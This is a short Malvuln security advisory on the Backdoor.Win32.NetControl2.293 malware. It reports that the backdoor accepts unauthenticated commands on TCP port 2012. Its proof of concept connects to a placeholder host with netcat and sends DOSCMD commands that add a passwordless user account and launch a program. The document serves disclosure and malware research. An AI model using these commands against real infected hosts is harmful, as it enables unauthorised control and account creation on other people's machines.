Backdoor.Win32.NetControl2.293 / Unauthenticated Remote Command Execution

2021.05.30
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/15ca804e4634d9586f85b1d15ebe91a0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NetControl2.293 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 2012. Attackers who can reach infected hosts can run arbitrary OS commands using the DOSCMD command made available by the backdoor. Type: PE32 MD5: 15ca804e4634d9586f85b1d15ebe91a0 Vuln ID: MVID-2021-0231 Disclosure: 05/29/2021 Exploit/PoC: nc64.exe x.x.x.x 2012 1) Add accounts DOSCMD cmd /c net user malvuln "" /add 2) Run programs DOSCMD cmd /c calc Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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